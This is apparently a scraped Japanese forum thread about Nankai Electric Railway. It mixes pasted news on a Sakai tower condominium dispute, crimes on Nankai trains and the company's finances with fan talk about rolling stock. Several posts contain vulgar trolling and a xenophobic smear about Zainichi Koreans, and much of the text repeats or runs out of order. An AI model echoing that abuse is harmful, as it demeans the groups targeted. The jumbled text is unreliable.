建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には時間がかかりそうだ。
南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。
四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。
高さ約百四十八メートルは市内で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。
同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。
同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度のペースで地元住民らに説明会を実施しているが、
周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。
地元住民で建設に反対する上村雄彦・大阪府立大名誉教授は「明らかに景観を破壊しており、
建設を中止しなければ世界遺産登録はありえない」と指摘。
ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が
持ち上がった際、大聖堂を危機遺産に登録し、計画をストップさせたという。
住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、
低いながらもすでに家やマンションが建っている。現場に高さ制限はなく、建築基準法をクリアしていれば問題ない。
堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm
■「世界遺産登録に“超高層”の影」 2006/05/23 放送 （長文のため一部省略）
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。
世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、
『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」
世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml
この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭を痛めています。
超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。
しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んできました。
なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。
世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。
建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地となっていました。
それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。
そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海電鉄住宅事業部・田中裕二部長〉
「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。
（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地、反正陵からわずか１２０メートル。
完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。
反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。
地元で反対運動を進める吉田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。
〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、
『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂いたらよくわかりますよ』と。あぁそういうことかと」
吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。
〈京都府立大学・宗田好史助教授〉「あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」
世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml
４少年が電車・駅で女子高生にわいせつ行為 容疑で逮捕-----------------------------------------------------
---------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。
男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、
藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
---------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、
府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、
１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。
少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。
少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、
同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。
女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに
連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。
同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、
当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。
ttp://www.asahi.com/kansai/news/OSK200411300005.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆
27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会で
アイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。
男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。
調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に乗っており、
藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面
南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、
私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
経企庁による“大本営発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、
私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくない。
中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。
しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引いている‥‥。
さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。
近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同期の売上高こそ千百九十九億円と、
前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。
さらにいえば、税引き後利益はほぼゼロで、前年同期比ではなんと九八・四％ものマイナス。
「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみれば
それぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として
約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、
関係者の注目を集めているのだ。
それでも、大手五社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみれば
それぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理したり、希望退職者への割増退職金などを特別損失として
約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、
難波地区の再開発用地の一部を民間都市開発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）
実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回り、最終損益では二十四億円の赤字となっている。
前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。
こうした厳しい状況もあってか、労使間の対立も以前にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、
関係者の注目を集めているのだ。
チミは国語力がないのか？今のダイヤパターンは難波を急行が特急の５分前に出発するパターン
５分差で岸和田で追いつくのなら単純に考えて１０分差なら佐野まで逃げ切れる。
５分差で岸和田で追いつくのなら単純に考えて１０分差なら佐野まで逃げ切れる。
225 ：ついにこのスレ”削除”依頼：2006/05/29(月) 22:18:00 ID:m8SWRO7MO
ついに在日の手先南海ヲタが敗れた日がやってきました！
何が6000マンセーだ！関西に家畜向けのパイオニア糞台車持ち込んだ真犯人が！
動態スクラップは何でもかんでも脱●●覆さぁー！！
何が6000マンセーだ！関西に家畜向けのパイオニア糞台車持ち込んだ真犯人が！
動態スクラップは何でもかんでも脱●●覆さぁー！！
226 ：名無し野電車区：2006/05/29(月) 22:59:52 ID:kdYN0dfn0
>>225
なんだいこいつは？
なんだいこいつは？
227 ：名無しでGO!：2006/05/29(月) 23:22:17 ID:b9O+pBbZ0
>>226
削除人の反応に怖気づいたんか？
削除人の反応に怖気づいたんか？
217：南海スレ住人：2006/05/29(月) 20:15:14 HOST:y181056.ppp.dion.ne.jp
削除人殿了解いたしました。削除対象の厳選は出来ませんので、スレ自体を削除依頼に回します。
私が出した削除依頼は、すべて路線車両板の南海電鉄スレからのコピペです。
一人の荒らしが気に入らない書き込みを引越と称してコピペしています。
南海と関空２の前スレも、まったりと3年間もスレが続いていたのが、
この荒らしによってスレを潰されてしまいました。これだけすみませんが覚えておいて下さい。
ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/217
削除人殿了解いたしました。削除対象の厳選は出来ませんので、スレ自体を削除依頼に回します。
私が出した削除依頼は、すべて路線車両板の南海電鉄スレからのコピペです。
一人の荒らしが気に入らない書き込みを引越と称してコピペしています。
南海と関空２の前スレも、まったりと3年間もスレが続いていたのが、
この荒らしによってスレを潰されてしまいました。これだけすみませんが覚えておいて下さい。
ttp://qb5.2ch.net/test/read.cgi/saku/1135406546/217
先週南海電車に乗ってきますた。ラピートは一部の編成を名鉄に売却して、
名鉄２２００みたいな車両を導入して、一部のラピートを一部特別車特急にして
空港急行と統合して効率のよい運用にすべきだと思いますた。
また車窓はスラム街という感じがしますた。
泉佐野が新しい奇麗な駅になっていたのが印象的ですた。
名鉄２２００みたいな車両を導入して、一部のラピートを一部特別車特急にして
空港急行と統合して効率のよい運用にすべきだと思いますた。
また車窓はスラム街という感じがしますた。
泉佐野が新しい奇麗な駅になっていたのが印象的ですた。
高野山の世界遺産登録に関して県など自治体が要請していたけど。
区間は和歌山〜橋本〜極楽橋。始発が和歌山でなく関空の方がいいと過去スレで主張していた奴がいたが。
2300系は乗り入れに対応した設計なんでしょ？乗り入れのメリットは薄いようだが。
和歌山線沿線から大阪方面ならまだ需要もあるんじゃないか。
高野線から和歌山線乗り入れは話は従来は難波〜橋本〜五条だったが。
五條市役所が大阪へのアクセスを強化するために鉄道各社に要請していた。
要請を受けた南海や近鉄は直通運転には踏み切らず。
ＪＲは要請を受けて通勤時完帯の大阪方面行き快速を増発し、休日には下り限定で大阪〜五条の大和路快速を設定した。
橋本駅の建て替え工事が進まない限りは今のままじゃないだろうか。
区間は和歌山〜橋本〜極楽橋。始発が和歌山でなく関空の方がいいと過去スレで主張していた奴がいたが。
2300系は乗り入れに対応した設計なんでしょ？乗り入れのメリットは薄いようだが。
和歌山線沿線から大阪方面ならまだ需要もあるんじゃないか。
高野線から和歌山線乗り入れは話は従来は難波〜橋本〜五条だったが。
五條市役所が大阪へのアクセスを強化するために鉄道各社に要請していた。
要請を受けた南海や近鉄は直通運転には踏み切らず。
ＪＲは要請を受けて通勤時完帯の大阪方面行き快速を増発し、休日には下り限定で大阪〜五条の大和路快速を設定した。
橋本駅の建て替え工事が進まない限りは今のままじゃないだろうか。
高野線の話題が少なかったので何か書いておくと、末端区間でも収支はいい数字だそうだ。
合理化で人員を大きく減らしたのが功を奏した。それら人員も中高年再雇用制度などで賃金を抑制している。
列車ダイヤでは特急と各停が最低限走る程度にするなど努力してきた。
廃止せず残っているのは南海の好意だと関心している。 貴志川線は廃止するのを前提にしていただけ。
路線を残す意志なんか微塵もなかった。労務面でも問題が多くて赤字を理由に廃止を決めただけ。
それが地域の活動もあって前向きな形で撤退できただけで好意もでもない。
好意なら路線の維持に努めるわ。廃止路線を受け取ってもらえるならとそれなりの対応をとっただけ。
合理化で人員を大きく減らしたのが功を奏した。それら人員も中高年再雇用制度などで賃金を抑制している。
列車ダイヤでは特急と各停が最低限走る程度にするなど努力してきた。
廃止せず残っているのは南海の好意だと関心している。 貴志川線は廃止するのを前提にしていただけ。
路線を残す意志なんか微塵もなかった。労務面でも問題が多くて赤字を理由に廃止を決めただけ。
それが地域の活動もあって前向きな形で撤退できただけで好意もでもない。
好意なら路線の維持に努めるわ。廃止路線を受け取ってもらえるならとそれなりの対応をとっただけ。
南海はボロい赤字南海倒産南海はボロい南海はボロい南海はボロい南海はボロい南海はボロい
南海はボロい南海はボロい南海はボロい南海はボロい南海はボロい南海はボロい南海はボロい
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真相は知らんがね。ちょっと前には６０００系も再更新と出ていた。
空調と制御器は新しいモノになるとか。
なら７０００系の再更新は下の人間まで話が通っているとすると高確率だな。
新車の導入は費用面での負担が大きいから踏み切れないとか。
古いのを手を加えながら使い続ける方が安上がりだと。秤にかけた結果だろうね。
空調と制御器は新しいモノになるとか。
なら７０００系の再更新は下の人間まで話が通っているとすると高確率だな。
新車の導入は費用面での負担が大きいから踏み切れないとか。
古いのを手を加えながら使い続ける方が安上がりだと。秤にかけた結果だろうね。
単に今年の新車は次年度以降に先送りになっただけやろ。7000系は別に故障が頻発する訳でもないからな。
本線上の故障が増えたら待ったなしで新車を入れるやろうけど。
無理して新車を急がんでもとの気運が出てきてもおかしくない。これも南海の整備が良すぎるからやな。
時期的には５年前から新車を断続的に入れるべきだったが。
２００７年問題もあって状態の良い車両を選別して残すやり方も経営者的にはアリか？
この前もドアの故障はあった。遅れは出なかったけどな。でも整備が行届いて状態が良過ぎるのも喜べないな。
新車は２０００系じゃないけど、新車が後で余るようなことを恐れている気がする。
思い切ってまとまった数の車齢２０年程度の中古車を買って割安に延命を図るとかどうよ。
将来の売却が分かっているなら対応した設計もできそう。
近鉄に車両をいずれ南海に売却できるような車両を導入してもらったらいいのでは？
近鉄は車両が古くなった時の買い手が予め決まっていれば新車を積極的に導入できるメリットがある。
南海には比較的状態の良い車両を安く買えるメリットがある。
南海の経営状態が何十年後に好転するかも知れないから、その時は近鉄と共同開発の車両を導入したらいい。
予め決めた期日に売却する契約を交わしておけば近鉄も新車を入れやすくなるかなと考えた次第。
価格も前もって決めておけば売り手と買い手双方とも投資計画を立てやすい。
平たく言えば鉄道車両版先物取引ですよ。趣味的には全国の中古車を掻き集めて営業運転で用いて欲しいですよ。
高野線は泉北や勾配の問題があるから南海線限定で。６連か４連で走れる車両なら乗降口の数は関係なしで。
整備にかなり金を費やす必要はあっても客寄せにはなりそう。
本線上の故障が増えたら待ったなしで新車を入れるやろうけど。
無理して新車を急がんでもとの気運が出てきてもおかしくない。これも南海の整備が良すぎるからやな。
時期的には５年前から新車を断続的に入れるべきだったが。
２００７年問題もあって状態の良い車両を選別して残すやり方も経営者的にはアリか？
この前もドアの故障はあった。遅れは出なかったけどな。でも整備が行届いて状態が良過ぎるのも喜べないな。
新車は２０００系じゃないけど、新車が後で余るようなことを恐れている気がする。
思い切ってまとまった数の車齢２０年程度の中古車を買って割安に延命を図るとかどうよ。
将来の売却が分かっているなら対応した設計もできそう。
近鉄に車両をいずれ南海に売却できるような車両を導入してもらったらいいのでは？
近鉄は車両が古くなった時の買い手が予め決まっていれば新車を積極的に導入できるメリットがある。
南海には比較的状態の良い車両を安く買えるメリットがある。
南海の経営状態が何十年後に好転するかも知れないから、その時は近鉄と共同開発の車両を導入したらいい。
予め決めた期日に売却する契約を交わしておけば近鉄も新車を入れやすくなるかなと考えた次第。
価格も前もって決めておけば売り手と買い手双方とも投資計画を立てやすい。
平たく言えば鉄道車両版先物取引ですよ。趣味的には全国の中古車を掻き集めて営業運転で用いて欲しいですよ。
高野線は泉北や勾配の問題があるから南海線限定で。６連か４連で走れる車両なら乗降口の数は関係なしで。
整備にかなり金を費やす必要はあっても客寄せにはなりそう。
南海にも阪急・京阪イズムが浸透してホントによかった
会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと
旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
237 ：ひみつの検疫さん：2024/05/09(木) 17:55:32 ID:MarkedRes
汚染を除去しました。
会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
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会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
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会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
会社の経営現状があまりにもひどすぎるので、せめて現実逃避しようと旧塗装を走らせてシコシコとオナニーする、情けない赤字南海
239 ：名無しでGO!：2006/06/01(木) 21:07:54 ID:Rl48raT70
>>234
近鉄より東急から8000系買って走らせた方がいいのでは?
近鉄より東急から8000系買って走らせた方がいいのでは?
6000系を神というのはキモヲタ
実は神でもなんでもない、
あの汚物パイオニア台車を関西に持ち込んだ犯罪車
南海の動態スクラップは逝ってよし
実は神でもなんでもない、
あの汚物パイオニア台車を関西に持ち込んだ犯罪車
南海の動態スクラップは逝ってよし
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ブッリブリブリリリリリリ(;;;;;;;;;;;;;)（・∀・）（赤字南海）｜｜｜（＿__）__）
おのれ赤字南海南海はぼろい南海は経営難負け犬南海南海もうだめぽ
ブッリブリブリリリリリリ(;;;;;;;;;;;;;)（・∀・）（赤字南海）｜｜｜（＿__）__）
おのれ赤字南海南海はぼろい南海は経営難負け犬南海南海もうだめぽ
242 ：名無し野電車区：2006/06/01(木) 22:25:44 ID:cKvxJKeQ0
6000を汚物というのならもっと悪い7000はどうなる？
その７０００の母体となったのが６０００．
社員一同せめて過去の栄光にすがろうと、車両を旧塗装に塗り替えてシコシコとオナニーする、
情けない赤字貧乏南海南海は走るスーパー玉出南海は在日の味方海南海の運賃はかなり高い南海は経営がヤバい
情けない赤字貧乏南海南海は走るスーパー玉出南海は在日の味方海南海の運賃はかなり高い南海は経営がヤバい
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247 ：名無し野電車区：2006/06/02(金) 19:58:31 ID:rqhC6XLV0
南海がつぶれたら沿線の俺はどうやって通勤しようか？(バスすらない)
248 ：名無しでGO!：2006/06/02(金) 20:21:21 ID:i8kOSapA0
阪和線輸送力が増すだけ。高野線は近鉄西大阪線に名称変更ただし橋本以南は
近鉄高野線。泉北高速はそのまま近鉄西大阪線乗り入れ。
近鉄高野線。泉北高速はそのまま近鉄西大阪線乗り入れ。
神奈川県の人口、全国２位に 大阪府を上回るttp://www.asahi.com/national/update/0601/TKY200606010145.html
５月１日現在の推計人口で、神奈川県が初めて大阪府を上回り、東京都に次いで全国２位になった。
大阪府が１日に公表した推計人口は８８２万１０８５人。
神奈川県が５月３１日に発表した推計人口は８８２万３２２７人だった。東京都は１２６１万９５２２人。
いずれも０５年国勢調査速報値（０５年１０月１日現在）に基づく推計人口のため、
４年後の次回国勢調査で逆転が確定する見通しだ。
大阪、神奈川両府県は推計人口を毎月１日現在で公表している。０５年国勢調査速報値では
大阪府が神奈川県より２万６１１０人上回っていたが、４月１日現在の推計人口で約８千人差に縮まっていた。
神奈川県企画部によると、人口統計調査が始まった１９５８年は３１０万人台。
増加傾向は続き、９１年に８００万人台に突入した。臨海部のマンション建設が相次ぐ横浜市や
通勤アクセスが便利な川崎市といった政令指定都市の人口増加が著しいのに加え、相模原市も増加傾向にあるという。
神奈川県の予測では、２０１５〜２０年ごろ、８８７万〜８９５万人でピークを迎え、減少に転ずるという。
５月１日現在の推計人口で、神奈川県が初めて大阪府を上回り、東京都に次いで全国２位になった。
大阪府が１日に公表した推計人口は８８２万１０８５人。
神奈川県が５月３１日に発表した推計人口は８８２万３２２７人だった。東京都は１２６１万９５２２人。
いずれも０５年国勢調査速報値（０５年１０月１日現在）に基づく推計人口のため、
４年後の次回国勢調査で逆転が確定する見通しだ。
大阪、神奈川両府県は推計人口を毎月１日現在で公表している。０５年国勢調査速報値では
大阪府が神奈川県より２万６１１０人上回っていたが、４月１日現在の推計人口で約８千人差に縮まっていた。
神奈川県企画部によると、人口統計調査が始まった１９５８年は３１０万人台。
増加傾向は続き、９１年に８００万人台に突入した。臨海部のマンション建設が相次ぐ横浜市や
通勤アクセスが便利な川崎市といった政令指定都市の人口増加が著しいのに加え、相模原市も増加傾向にあるという。
神奈川県の予測では、２０１５〜２０年ごろ、８８７万〜８９５万人でピークを迎え、減少に転ずるという。
250 ：名無しでGO!：2006/06/03(土) 00:49:08 ID:g8ELRtJk0
http://osaka.yomiuri.co.jp/news/20060601p202.htm
大阪府が〈人口２位〉の座を神奈川県に明け渡したことが明らかになった１日、
「東」への対抗意識が強いナニワっ子からは、大阪の地盤沈下を嘆く声が上がる一方、
「覚悟していた」「中身で勝負」と強気の弁も。大阪は、東京に並び立つ２大都市
として生き残っていけるのか。今後、その〈底力〉が試される。
「これほど早く逆転されるとは」。１０年前には５０万人以上あった神奈川県との人口差。
いとも簡単に抜き去られた府幹部は複雑な表情を浮かべる。府人口は２０１０年までには
マイナスに転じるとされ、「税収減によって活力に影響が生じかねない」と気をもむ。
だが、「東」への負けん気は健在で、府企画室は「神奈川は首都のベッドタウン。
昼間人口は大阪が上回っており、歴史や伝統、文化の面で、首都圏にはない強みがある」と
力説する。
大阪市内在住の作家、有栖川有栖さんは「ずっと２番と思ってきたので寂しい」と漏らしながらも
「数字ではなく、『大阪は格が違う』と強がった方がいい」と語り、上方文化に詳しい
河内厚郎・夙川学院短期大教授も「人口でも経済でも、量で首都圏に勝負するのは無理。時代に
合わせた街のあり方を真剣に考えるべき」と注文を付けた。
大阪府が〈人口２位〉の座を神奈川県に明け渡したことが明らかになった１日、
「東」への対抗意識が強いナニワっ子からは、大阪の地盤沈下を嘆く声が上がる一方、
「覚悟していた」「中身で勝負」と強気の弁も。大阪は、東京に並び立つ２大都市
として生き残っていけるのか。今後、その〈底力〉が試される。
「これほど早く逆転されるとは」。１０年前には５０万人以上あった神奈川県との人口差。
いとも簡単に抜き去られた府幹部は複雑な表情を浮かべる。府人口は２０１０年までには
マイナスに転じるとされ、「税収減によって活力に影響が生じかねない」と気をもむ。
だが、「東」への負けん気は健在で、府企画室は「神奈川は首都のベッドタウン。
昼間人口は大阪が上回っており、歴史や伝統、文化の面で、首都圏にはない強みがある」と
力説する。
大阪市内在住の作家、有栖川有栖さんは「ずっと２番と思ってきたので寂しい」と漏らしながらも
「数字ではなく、『大阪は格が違う』と強がった方がいい」と語り、上方文化に詳しい
河内厚郎・夙川学院短期大教授も「人口でも経済でも、量で首都圏に勝負するのは無理。時代に
合わせた街のあり方を真剣に考えるべき」と注文を付けた。
せめて阪急みたいに内装に金かけて、高級感を持たせればいいのに。
何なんだよ、南海のステンレスむき出しドアの貧乏くささは？
何なんだよ、南海のステンレスむき出しドアの貧乏くささは？
南海は7000を全廃して内装を阪急並み、以上にしても馬鹿にされるだろ、
(まぁ、ましになるかもしれんが)基本的なサービスが同じだったら結局一緒だよ
運賃を安くするとかラピート停車駅を減らすとかしなきゃ
(まぁ、ましになるかもしれんが)基本的なサービスが同じだったら結局一緒だよ
運賃を安くするとかラピート停車駅を減らすとかしなきゃ
253 ：名無しでGO!：2006/06/03(土) 21:22:40 ID:tFGnlVML0
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｜ 〔( 南海) 〕 |
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死因：
パイオニア台車による
揺さぶられっこ症候群
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死因：
パイオニア台車による
揺さぶられっこ症候群
赤字南海┏┓┏┓┃┃┏━┛┗━┓┃┃┗━┓┏━┛┃┃ ┏━┛┗━┓
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,'.::::::!'''l/!:;'／/'ﾞ/'! ﾞ;:|:､.|､|'l.,'..:::::::{ｌ'.l/､__,.'l/',|.';|
ｌ:::::::::::';、ヾ￣`‐-‐'/!';.'南海が倒産しますように。.!:::::::::::/`‐､ゝ|'ﾞ|
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ｌ:::::::::::';、ヾ￣`‐-‐'/!';.'南海が倒産しますように。.!:::::::::::/`‐､ゝ|'ﾞ|
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南海は廃止になります
南海は最高の負け組。
257 ：名無し野電車区：2006/06/03(土) 23:21:46 ID:q5+Gtbuh0
夢の中で女神様が出てきて願いを叶えてくれると言った。
俺は「南海を潰して下さい」と答えた。
俺は「南海を潰して下さい」と答えた。
南海は空気輸送赤字南海は腹を切って死ぬべきである。
赤字南海の倒産の日を心待ちにしている南海は嫌われ者だよね(´・ω・`)
赤字南海の倒産の日を心待ちにしている南海は嫌われ者だよね(´・ω・`)
もう少し列車の運転本数を増やせないものかと。不便だから客足が遠退いていそうな。
もう少し列車の運転本数を増やせないものかと。不便だから客足が遠退いていそうな。
2006年6月3日(土)のこと。
関西空港行の急行での出来事。車番は先頭車両の9512。時刻は午前10時55分頃だったか。
羽衣駅を出発後ふと運転席に目をやると、運転士が運転室の右側の扉を全開の状態で走行していた。
万が一運転士がラリってたりしていて、たとえば嫌いな同僚が運転する対向列車が来たときに、
運転中の列車を捨てて飛び込むつもりなどでもしていたら大惨事になりかねないと恐怖を感じたので
途中泉大津駅で慌ててこの列車から降りた。
とりあえず何もなかったようだが、実際は暑くて全開にしていたのか、ふざけてやっていたのか、その
